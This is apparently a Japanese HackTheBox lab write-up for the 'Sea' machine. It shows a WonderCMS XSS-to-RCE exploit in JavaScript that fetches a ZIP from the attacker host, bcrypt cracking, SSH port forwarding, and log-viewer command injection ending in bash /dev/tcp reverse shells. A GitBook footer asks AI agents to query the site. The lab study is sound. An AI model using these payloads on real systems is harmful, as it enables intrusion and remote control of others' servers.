> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # Sea HackTheBox攻略記事 Wonder CMS悪用、CSRF脆弱性、（XSSからRCE）、ポートフォワーディングを扱うSea HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。 {% embed url="" %} {% hint style="warning" %} **スキル**: * Wonder CMSの攻略 * CSRF脆弱性 * (XSSからRCEへ) * ポートフォワーディング * (LFI - RCE) ログポイズニング脆弱性 {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

**連絡先サイトの発見：**

**サーバーとサイト間の通信を確認：**/ サイト内に連絡先専用の一部を見つけました。サーバーがこのサイトにフレームを送信しているか確認します。

**Webサーバーでフレームを受信：**/ このフレームを取得するために、Pythonで簡単なHTTPサーバーを立てます： ```bash python3 -m http.server 555 ```

**リクエストを傍受するために** [Burp Suite ](/ja/hacking-tools/web/burpsuite.md)**:**/ Burp Suiteでリクエストを傍受し、通信を分析します。 ## **可能** [**SSRF**](/ja/web/ssrf.md)**:** #### クエリパラメータを変更して、SSRF攻撃を使い内部サービスの一覧取得を試みます： ```bash &website=http:127.0.0.1 ```

**Intruderによる内部ポートの発見：**/ Burp Suite Intruderを使ってブルートフォース攻撃を行い、開いている内部ポートを発見します。

**レスポンスのフィルタリング：**/ サイズに基づいてレスポンスをフィルタリングし、関連するものを特定しようとしますが、すべて同じです。

## WonderCMSの脆弱性（[CSRF](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)）：（XSSからRCEへ） **ディレクトリ検索：**/ Gobusterを使ってサイト上のディレクトリを探索します： ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` これにより **/themes** ディレクトリが301リダイレクトコードで返されます。

**themesディレクトリを探索：**/ 見つけたパスをURLに追加して検索を続け、次の **/themes** ディレクトリを優先するように ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 〜を見つけます **/bike** サブディレクトリを探索します。

**ファイル拡張子でのフィルタリング：**/ 次を使って *ffuf* 、特定の拡張子（php、html、pngなど）のファイルを **/bike** ディレクトリ: ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` このコマンドにより、次の名前のファイルを見つけられます **README.md**

我々はある `README.md` このファイルは、サーバーが「WONDER」というテーマを使用しており、それがCMSであることを示しています。

このCMSに関連する脆弱性を調査する中で、XSSインジェクションを介してリモートコード実行（RCE）を可能にする欠陥を発見しました。 {% embed url="" %} **シェルを取得するためのJavaScriptコード：**/ 以下のJavaScriptコードは、リバースシェルスクリプトを含む悪意のあるZIPファイルをダウンロードし、その後サーバー上で実行します： ```javascript // サーバーはJavaScriptでドメイン名を解決する際に問題があります // 必要なパラメータとしてターゲットURLを指定するだけでよいです var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // HTTPサーバーで提供しているZIPファイルのパスを変更します var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // アップロードしたZIPファイル内のrev.phpにアクセスします xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // リバースシェルスクリプトを起動し、待ち受け先のIPとポートを指定します xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **脆弱性（CVE-2023-41425）用エクスプロイトスクリプトのインストール：** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` エクスプロイトスクリプトを実行します： ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` 上記のスクリプトは、次の経由でポート8000の当方サーバーへリクエストを送信します： `xss.js` ファイルにより、RCEアクセスと対象マシンの制御を得られます。

**最終段階：** 次に、XSSリンクを管理者に送る必要があります。次の `contact.php` フォームを使って、悪意のあるリンクをクリックさせます： {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**Netcatで待ち受け:**/ ポート4444で待ち受けます： ```bash nc -nlvp 4444 ```

#### Linuxサーバーにアクセスしたら、端末を安定化させるために次のコマンドを使用します ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### より快適に作業できるよう、シェルを安定化させます。 ## 権限昇格：ユーザー *www-data*、次を使って内容を絞り込みます： `find` コマンドを使って、"**パスワード**" を含むファイルだけをWebサーバーディレクトリ内で検索します `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` 次の中に暗号化されたパスワードを見つけます： `database.js` ファイル： `$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

このパスワードを解析するために、次の **John the Ripper** ツールと `rockyou.txt` 辞書ファイルを使います： ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

復号されたパスワードは mychemicalromance ですこれから、システムで利用可能な2人のユーザー「geo」と「amays」に接続を試みます。

ユーザー **amays** のパスワードは正しいです。 ### user.txtフラグ

内部ネットワーク通信を分析したところ、ポート8080が使用されていることが分かりました： ```bash netstat -ano netstat -nltp ```

そのため、ポート8888を使ってSSHのポートフォワーディング経由で、サーバーの8080番ポートを攻撃用マシンへ転送します： ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` 接続すると、ログインパネルが見つかります。

ユーザー認証情報 `amay`: `mychemicalromance`を使って、監視システムに接続できました。

次の接続ログを確認できます： `root`.

Burp Suiteでリクエストを傍受すると、次の内容を表示していることに気づきます： `/var/log/apache2/access.log` ファイルの内容をより構造化された形で表示しています。

このファイルはユーザー `root`.

### 脆弱性 [(LFI - RCE) ログポイズニング](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): 次のようなファイルを一覧表示しようとすると `/etc/passwd`、たとえば： ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` ファイルが一覧表示されます :)

次に、次を含むファイルを読み取ろうとします `root` フラグが入っており、コマンドを実行できることが分かります（例えば `id`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **フルアクセス（リバースシェル）：** リバースシェルを取得するために、次のコマンドを実行します： {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} その後、次で待ち受けます： `nc`: ```bash nc -nvlp 443 ``` ### rootフラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.